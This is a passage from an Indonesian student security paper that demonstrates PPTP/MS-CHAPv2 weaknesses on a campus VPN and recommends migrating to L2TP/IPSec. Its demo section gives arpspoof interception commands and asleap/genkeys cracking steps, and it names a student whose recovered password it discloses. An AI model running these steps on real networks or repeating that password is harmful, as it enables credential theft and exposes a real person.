VPN PPTP Authentication Weakness
VPN PPTP Authentication Weakness
Perlu diingat, bahwa tetap perlu untuk menentukan
password mana yang akan diuji, dengan kata lain password
mana yang memiliki nilai hash yang berakhiran dengan 16
bit yang kita ketahui.
Dari sana bisa kita pahami, MS-CHAP v2 masih memiliki
kelemahan, yaitu key yang masih merupakan fungsi dari
password, sehingga entropy dari key tidak lebih dari
password yang digunakan[3]. Jika password yang
digunakan lemah, maka key yang dihasilkan juga lemah [3].
Ini merupakan kelemahan fundamental dari protokol MS-
CHAP v2, dan telah dibahas oleh Bruce Schenier dalam
Cryptanalysis nya terhadap MS-CHAP v2. Beliau
menyimpulkan, bahwa:
Kelemahan fundamental dari protokol authentikasi dan
encripsi dari MS-CHAP adalah, mereka hanya seaman dari
password yang dipilih oleh user
B. Memperoleh VPN username dan password
Pada tahun 2007, Joshua Wright membuat sebuah tool
untuk membuktikan kelemahan MS-CHAP v2. Tool
bernama ASLEAP ini bekerja dengan memeriksa paket
handshake MS-CHAP, atau dengan menyebutkan secara
manual MS-CHAP challenge and response. ASLEAP
kemudian mampu menyimpulkan username dan dua byte
terakhir dari NT hash. Dengan menggunakan informasi ini
dan file dictionary, ASLEAP mampu melakukan brute-force
terhadap hash[4].
Berikut ini sistem yang kami gunakan untuk melakukan
demo hacking:
1. PC dengan sistem operasi Windows 7, Vista, atau
XP dengan settingan VPN yang telah
direkomendasikan oleh Sisfo IT Telkom
2. PC terkoneksi dengan jaringan lokal kampus, wired
atau wireless.
3. Backt rack 5 yang terinstall pada Virtualbox dengan
model jaringan Bridged. Pada model seperti ini,
antara guest OS dan host OS mampu
berkomunikasi seakan-akan mereka berada pada
switch yang sama.
Pada sistem ini, terdapat beberapa tools hacking yang kami
gunakan. Sebagian besar tools ini sudah tersedia pada
distribusi linux Backtrack 5:
arpspoof
Merupakan tools untuk melakukan sniffing dan
spoofing pada jaringan berbasis switch. Tools ini
juga bermanfaat untuk melakukan arp poisoning
pada jaringan wireless
wireshark
Tools untuk menangkap dan menganalisa paket
cupp
Common User Password Profiller. Tools ini sangat
bermanfaat untuk membuat kamus yang berisi
kemungkinan password yang digunakan oleh user.
Dikombinasikan dengan teknik social engineering,
cupp mampu membuat kamus yang efektif untuk
mengcrack password [7]
genkeys
Membuat file lookup untuk ASLEAP, yang
bersumber dari kamus password yang kita pilih.
ASLEAP
script chap2asleap.py
Script ini kita gunakan untuk membuat argument
LEAP dari CHAP challenge dan response yang kita
peroleh. Script ini bisa diperoleh di
http://www.mediafire.com/?wnkoyiai2ty
IP 10.5.25.1 (gat eway)
00:22:B0:2D:8D:46
IP 10.5.25.2 (Win 7)
00:25:22:A4:38:95
IP 10.5.25.6 (virt ual Backtrack)
08:00:27:cc:35:66
Gambar 3 Diagram Demo Sist em
Keamanan Sistem (CS4633), Institut Teknologi Telkom, Bandung, Indonesia 4
B.1 Network Spoofing
Ada tiga informasi yang ingin kita peroleh dari Network
Spoofing: Username, PPP CHAP Challenge, dan PPP
CHAP response. Ketiga informasi ini akan kita gunakan
untuk memperoleh hash tertentu, dimana nilai hash ini akan
dibandingkan dengan kamus password yang kita miliki. Jika
nilai hashnya sama, maka password telah kita temukan.
Berikut ini tahapan-tahapannya:
1. Aktifkan fitur ip forwarding dari kernel. Fitur ini
kita gunakan agar paket-paket data tetap diteruskan
ke tujuan semula ket ika kita spoofing.
echo 1 > /proc/sys/net/ipv4/ip_forwar
d
2. Ketahui terlebih dahulu alamat ip host, guest dan
gateway dengan perintah ifconfig, serta
netstat -nr. Kita juga bisa menscan host
melalui perintah nmap
3. Lakukan arpspoof antara komputer target dengan
gateway.
arpspoof -i eth0 -t 10.5.25.2
10.5.25.1
arpspoof -i eth0 -t 10.5.25.1
10.5.25.2
4. Tangkap paket dengan menggunakan wireshark.
Filter paket dengan CHAP
Gambar 4 Wireshark menangkap paket PPP CHAP
5. Copy PPP CHAP challenge dan PPP CHAP
response yang ditangkap dari wireshark. Pada
contoh diatas, nilai PPP CHAP Challenge bernilai
bb1e689327a11775aaeb3b52c0915467
(stream Hexa Decimal) dan PPP CHAP Response
bernilai
2bcbd69c4cbbfeb24e2dc2a62ff5cd4200000
00000000000525d6d7c148df8679503a37642
7e1c31b69cd7d04337fa1a00
6. Masukkan kedua nilai tadi beserta username ke
dalam argument script chap2asleap.py
python chap2asleap.py -u 113081026 -c
bb1e689327a11775aaeb3b52c0915467 -r
2bcbd69c4cbbfeb24e2dc2a62ff5cd4200000
00000000000525d6d7c148df8679503a37642
7e1c31b69cd7d04337fa1a00 -v
7. Script tadi akan mengubah format CHAP menjadi
format yang dipahami oleh ASLEAP. Hasil dari
argument sebelumnya adalah:
Gambar 5 chap2asleap.py
8. Secara default, script chap2asleap.py menggunakan
wordlists bawaan dari backtrack untuk digunakan
sebagai argument dari genkeys. Sayangnya,
wordlist tersebut kurang lengkap. Kami
menggunakan pendekatan social engineering untuk
mengcrack password tersebut.
B.2 Password cracking dengan metode Brute Force
Dictionary
Pada tahap ini, kami akan berusaha untuk membuat
wordlist dengan metode social networking. Alat bantu untuk
membuat wordlist ini bernama cupp. Tools ini membantu
kita untuk membuat wordlist yang spesifik untuk target
tersebut. Cupp akan menanyakan hal-hal tertentu secara
interaktif, dan membuat wordlist berdasarkan hal itu.
User 113081026 bernama Haryo Seto, berasal dari Boyolali,
Berikut ini printscreen program cupp:
Gambar 6 Membuat dict ionary file dengan cupp
Setelah kita membuat file dictionary berikut, kita load
dictionary tersebut ke genkeys, untuk dibuat NT hashnya,
dan dibuat indeksnya:
Keamanan Sistem (CS4633), Institut Teknologi Telkom, Bandung, Indonesia 5
genkeys -r haryo.txt -f haryo.dat -n
haryo.idx
Gambar 7 Membuat lookup files unt uk ASLEAP dengan genkeys
genkeys menghasilkan haryo.dat yang berupa file binary NT
Hash, dan haryo.idx yang berupa index lookup table. Kita
gunakan kedua file tersebut sebagai argument untuk
program ASLEAP.
asleap -C 78:ad:13:28:3b:32:ec:7f -R
52:5d:6d:7c:14:8d:f8:67:95:03:a3:76:42:7e:1c
:31:b6:9c:d7:d0:43:37:fa:1a -f haryo.dat -n
haryo.idx
Gambar 7 Password dit emukan dengan Brut eForce t erhadap hash, dan
dibandingkan dengan file lookup
Dengan menggunakan teknik social networking sederhana,
kita mampu memperoleh password vpn dari 113081026
(Haryo Seto), sriendah merupakan Ibu dari si Seto.
Teknik lain, seperti Brute Force Hash Cracking, atau teknik
mahir seperti Rainbow Tables, juga bisa digunakan. Apalagi
dengan keterbatasan panjang password maksismum 8
karakter, kita bisa memecahkan password dengan lebih
mudah menggunakan Rainbow Tables.
III. SOLUSI
Untuk mencegah terjadinya serangan , dianjurkan untuk
sistem informasi yang ada di ITTelkom mengganti protokol
VPN nya. Sebagaimana yang telah di beritakan oleh
Microsoft yang mendukung interopabilitas dari VPN
melalui Layer Two Tunneling Protocol with Internet
Protocol security (L2TP/ IPSec).
Internet Protocol Security (IPSec) adalah protokol untuk
mengamankan Internet Protocol (IP) dengan melakukan
otentikasi dan enkripsi pada setiap paket IP dari sebuah sesi
komunikasi [8]. IPSec juga mencakup protokol untuk
mendirikan otentikasi bersama antara agen pada awal sesi
dan negosiasi kunci kriptografi yang akan digunakan selama
sesi [9].
IPSec merupakan skema kemananan end-to-end yang
beroperasi di Internet Layer Internet Protocol Suite. [9]. Hal
ini dapat digunakan dalam melindungi aliran data antara
baik dari sepasang host (host-to-host), antara sepasang
gateway keamanan (jaringan-jaringan), maupun antara
gateway keamanan dan host (jaringan-to-host) Banyak jenis
yang digunakan dalam sistem keamanan internet
diantaranya ,seperti Secure Socket Layer (SSL), Transport
Layer Security (TLS) dan Secure Shell (SSH) yang
beroperasi di lapisan atas dari model TCP / IP [9]. Oleh
karena itu, IPSec akan melindungi lalu lintas aplikasi di
jaringan IP. Aplikasi tidak perlu secara khusus dirancang
untuk menggunakan Ipsec.[10]
A. Kekurangan IPSec
Adapun alasan untuk menghindari Layer Two Tunneling
Protocol with Internet Protocol security (L2TP/IPSec)
dibandingkan dengan Peer to peer Protocol(PPTP) adalah
pada dasarnya PPTP menawarkan layanan yang mudah
digunakan, biaya operasional keamanan yang murah [10].
Selanjutnya berbeda dengan IPSec, VPN PPTP kompatibel
dengan Network Address Translators (NATs) dan
mendukung baik Multi-Protocol dan Multicast Environmets
[10]. Ini menggabungkan standarisasi User password
authenctication dengan enkripsi yang kuat tanpa harus
memikirkan kompleksitasnya dan biaya dari public key
infrastrukturnya [10].
B. Kelebihan IPSec
Berbeda dengan PPTP, IPSec menyediakan keamanan
yang lebih canggih untuk VPN tetapi tidak dirancang untuk
menangani kebutuhan remote access yang sangat krit ikal
seperti otentikasi pengguna dan alamat penugasannya [10].
Selain itu, IPSec t idak mendukung multi-protokol maupun
multicast (termasuk beberapa protokol routing lainnya) Hal
ini berlaku hanya untuk lalu lintas IP unicast [10].
Microsoft mendorong para vendor gateway untuk
menerapkan L2TP/IPSec untuk remote akses VPN sehingga
sistem operasi Microsoft yang mendukung L2TP/IPSec
dapat terhubung secara langsung ke gateway vendor dan
solusi VPN lainnya tanpa harus mengubah kode client-
sidenya [10]. Untuk vendor gateway yang mendukung
lainnya IPSec berbasis metode akses, Microsoft mendorong
vendor untuk menyediakan dukungan untuk L2TP/IPSec
sebagai pilihan untuk melengkapi mode multi-protokol
dan pertimbangan multicast [10]. User pengguna VPN
bisa mengubah secara langsung settingan protokol yang
digunakan pada konfigurasi VPNnya. Disitu pengguna bisa
mengubah tipe VPN yang digunakan apakah Automatic,
PPTP, (L2TP/IPSec, maupun SSTP).Kami juga menyarankan
jika menggunakan PPTP , maka sebaiknya memperbahaui
sistem PPTP nya dan memastikan kompatibilitas dengan
perangkat tambahan terbaru keamanan PPTP . Sehingga
Windows bisa menjaga interoperabilitas dengan Windows
klien berbasis PPTP.
IV. KESIMPULAN
Protokol VPN PPTP, meskipun menyediakan kemudahan
dalam setup, administrasi, dan maintenance tetapi memiliki
beberapa kelemahan dari sisi keamananya. Tools seperti
ASLEAP telah membuktikannya. Kelemahan MS-CHAP v2
seperti username yang tidak terenkripsi, dan entropy
password yang lemah merupakan alasan utama mengapa
PPTP perlu dihindari.
Kami menyarankan, agar pihak Sisfo IT Telkom
mengganti protokol PPTP dengan L2TP/IPsec. Protokol ini
telah didukung sejak Windows 2000, merupakan protokol
standar, dan memiliki interoperabilitas antar platform yang
tinggi. Sehingga, biaya migrasi bisa ditekan, dan keamanan
sistem pun bisa ditingkatkan.
Keamanan Sistem (CS4633), Institut Teknologi Telkom, Bandung, Indonesia 6
DAFTAR PUSTAKA
[1] Hawke Robinson. (2011). Malware FAQ: Microsoft PPTP VPN.
Available: htt p://www.sans.org/security-resources/malwarefaq/ppt p-
vpn.php)
[2] PT. Ghalia Indonesia print ing, Computer dan Internet (Rubrik). 2011.
Tersedia: http://www.ghalia-indonesia.com/cetak.php?id=22)
[3] Bruce Schneier dan Mudge, Cryptanalysis of Microsofts PPTP
Authentication Extensions(MS-CHAPv2) (paper). CQRE '99,
Springer-Verlag, 1999, pp. 192-203. Tersedia:
htt p://www.schneier.com/paper-pptpv2.html)
[4] Darren Kit chen. Episode 612 Hacking PPTP VPNs with ASLEAP.
[Online]. Tersedia: http://hak5.org/episodes/episode-612. 2009
[5] MS-CHAP Version 2. Microsoft Corporat ion [Online]. Tersedia:
htt p://t echnet .microsoft .com/en-us/library/cc739678(WS.10).aspx .
2005
[6] Jochen Eisinger. Exploiting known security holes in Microsoft's PPTP
Authentication Extensions (MS-CHAPv2). [Online]. Tersedia:
htt p://penguin-breeder.org/pptp/download/pptp_mschapv2.pdf 2001
[7] Creating the Perfect Pasword List. [Online]. Tersedia: http://greyhat -
securit y.com/creating-perfect -password-list. 2010
[8] Tersedia: htt p://en.wikipedia.org/wiki/IPsec
[9] Microsoft . Virt ual Privat e Net working wit h Windows Server 2003:
Int eroperability. Tersedia: http://t echnet .microsoft.com/en-
us/library/bb727039.aspx
[10] Hiten M. Pandya. Chapt er15 Securit y (FreeBSD Handbook). Tersedia:
htt p://www.freebsd.org/doc/en_US.ISO8859-
1/books/handbook/ipsec.html 3